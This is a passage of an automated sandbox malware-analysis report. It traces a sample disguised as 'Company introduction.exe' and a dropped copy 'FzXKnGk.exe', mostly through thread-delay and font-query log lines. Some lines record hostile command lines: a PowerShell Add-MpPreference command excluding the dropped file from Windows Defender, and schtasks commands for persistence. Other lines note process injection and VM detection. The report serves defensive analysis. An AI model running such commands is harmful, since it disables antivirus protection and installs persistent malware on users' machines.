Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Window / User API: threadDelayed 2141
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Window / User API: threadDelayed 7694

Source: C:\Users\user\Desktop\Company introduction.exe TID: 7472	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7880	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -26747778906878833s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -599891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8136	Thread sleep count: 2278 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8136	Thread sleep count: 7571 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -599641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -599531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -599421s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -599306s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -599202s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -599084s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -598953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -598844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -598734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -598625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -598516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -598406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -598281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -598172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -598049s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -597922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -597812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -597703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -597594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -597484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -597366s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -597250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -597140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -597030s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -596922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -596812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -596703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -596594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -596484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -596375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -596266s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -596141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -596016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -595906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -595797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -595687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -595578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -595468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -595358s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -595250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -595141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -595016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -594891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -594781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -594672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -594562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe TID: 8108	Thread sleep time: -594453s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7912	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep count: 36 > 30
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -33204139332677172s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7180	Thread sleep count: 2141 > 30
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -599871s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7180	Thread sleep count: 7694 > 30
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -599765s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -599648s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -599545s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -599437s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -599328s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -599218s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -599109s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -598999s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -598890s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -598781s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -598672s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -598546s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -598437s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -598328s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -598218s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -598109s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -597999s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -597884s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -597781s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -597671s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -597552s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -597437s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -597328s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -597218s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -597109s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -597000s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -596890s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -596781s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -596672s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -596562s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -596453s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -596343s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -596164s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -596060s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -595940s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -595729s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -595625s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -595515s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -595406s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -595297s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -595187s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -595078s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -594968s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -594859s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -594750s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -594640s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -594530s >= -30000s
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe TID: 7184	Thread sleep time: -594422s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 599531	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 599421	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 599306	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 599202	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 599084	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 598953	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 598844	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 598734	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 598625	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 598516	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 598406	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 598281	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 598172	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 598049	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 597366	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 597140	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 597030	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 596812	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 596594	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 596375	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 596266	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 596141	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 596016	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 595906	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 595797	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 595687	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 595468	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 595358	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 595250	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 595141	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 595016	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 594891	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 594781	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 594672	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 594562	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 594453	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 599871
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 599765
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 599648
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 599545
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 599437
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 599328
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 599218
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 599109
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 598999
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 598890
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 598781
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 598672
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 598546
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 598437
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 598328
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 598218
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 598109
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 597999
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 597884
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 597781
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 597671
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 597552
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 597437
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 597328
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 597218
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 597109
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 597000
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 596890
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 596781
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 596672
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 596562
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 596453
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 596343
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 596164
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 596060
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 595940
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 595729
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 595625
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 595515
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 595406
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 595297
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 595187
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 595078
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 594968
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 594859
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 594750
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 594640
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 594530
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 594422

Source: FzXKnGk.exe, 0000000C.00000002.2938862935.00000000015EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll5
Source: Company introduction.exe, 00000006.00000002.2939061620.00000000013C6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllo
Source: FzXKnGk.exe, 00000007.00000002.1754239907.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}{

Source: C:\Users\user\Desktop\Company introduction.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Company introduction.exe

Code function: 6_2_05A89548 LdrInitializeThunk,LdrInitializeThunk,

6_2_05A89548

Source: C:\Users\user\Desktop\Company introduction.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\Company introduction.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\Company introduction.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FzXKnGk.exe"
Source: C:\Users\user\Desktop\Company introduction.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FzXKnGk.exe"			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Company introduction.exe

Memory written: C:\Users\user\Desktop\Company introduction.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\Company introduction.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FzXKnGk.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FzXKnGk" /XML "C:\Users\user\AppData\Local\Temp\tmpE629.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process created: C:\Users\user\Desktop\Company introduction.exe "C:\Users\user\Desktop\Company introduction.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FzXKnGk" /XML "C:\Users\user\AppData\Local\Temp\tmpEF32.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process created: C:\Users\user\AppData\Roaming\FzXKnGk.exe "C:\Users\user\AppData\Roaming\FzXKnGk.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process created: C:\Users\user\AppData\Roaming\FzXKnGk.exe "C:\Users\user\AppData\Roaming\FzXKnGk.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Users\user\Desktop\Company introduction.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
